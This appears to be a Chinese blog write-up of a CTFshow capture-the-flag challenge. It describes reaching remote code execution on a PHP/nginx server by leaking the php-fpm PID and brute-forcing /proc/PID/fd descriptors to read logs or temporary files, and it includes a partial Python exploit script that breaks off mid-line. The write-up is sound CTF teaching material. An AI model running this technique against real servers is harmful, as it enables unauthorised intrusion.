CTFSHOW 套娃shell

最新推荐文章于 2024-10-08 14:21:28 发布

原创

最新推荐文章于 2024-10-08 14:21:28 发布 · 2.5k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#ctf #php #python #java

本文介绍了如何通过CTF比赛中的一个漏洞，利用PHP环境和nginx日志，通过文件描述符（fd）进行远程代码执行。作者首先分析了请求头的规则，发现可以通过修改Host字段来绕过限制。接着，利用日志文件的可控性，尝试读取php-fpm进程的fd目录下的文件，最终找到并读取了access.log。虽然尝试通过shell_exec执行命令失败，但作者转向了通过POST大量数据触发临时文件创建，再遍历fd来执行命令的方法。实验中使用了多线程同时进行POST数据上传和遍历fd，成功实现了远程代码执行。

该文章已生成可运行项目，

CTFSHOW 套娃shell

1、题目给的是用nc连接的，测试了下，传个请求包过去就可以了,比如（最后的换行不要忘了）：

GET /?file=/a HTTP/1.1
Host: 127.0.0.1
Connection: close

但是又不是完全是按照这个请求包来的，把host改成其他的，也是可以成功。说明不是完全按照请求头的规则来读取的。
题目里面的正则表达式大概意思就是以/开头，并且后面只能有数字字母和/。
我们需要在服务器上构造一个文件，并且文件内容是可控的，或者是服务器本身就有这样的文件也是可以的。
思来想去只能是构造一个临时文件，或者可以日志可控。
2、根据返回的请求包可以看到题目环境是php7.3.2+nginx，所以日志一般位置为/var/log/nginx/access.log。很不幸文件名存在点号。
3、如果单纯的上传文件然后留下/tmp/phpxxxxxx形式的文件的话，爆破的可能性微乎其微，况且文件不是永久存在的。
4、最后对于我来说可以考虑的就只剩文件描述符了。/proc/pid/fd/xxx可能存在web日志。而pid我们通过传一个不带参数的get请求就可以得到。

在这里插入图片描述
比如我这个是125。
经过测试循环跑上一段时间就可以读到日志

import socket
import re
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',28099))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

	'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
while True:
	for i in range(0,256):
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',28099))
		file=f"/proc/{
     
     pid}/fd/